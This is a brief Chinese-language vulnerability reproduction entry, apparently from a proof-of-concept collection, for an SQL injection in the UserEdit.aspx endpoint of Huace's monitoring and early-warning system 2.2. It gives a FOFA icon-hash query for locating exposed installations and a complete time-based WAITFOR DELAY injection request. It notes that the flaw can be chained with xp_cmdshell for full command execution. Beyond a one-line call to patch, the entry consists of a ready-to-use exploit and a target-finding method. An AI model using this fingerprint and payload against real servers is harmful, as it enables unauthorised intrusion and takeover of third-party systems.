S28-1上海华测-华测监测预警系统-SQL

漏洞描述：

华测监测预警系统2.2 UserEdit.aspx 接口处存在SQL注入漏洞，未经身份验证的远程攻击者可利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

网站图片：

fofa语法：

icon_hash="-628229493"

漏洞复现：

延时5秒 payload：

```
POST /Web/SysManage/UserEdit.aspx?&ID=1';WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
```

效果图：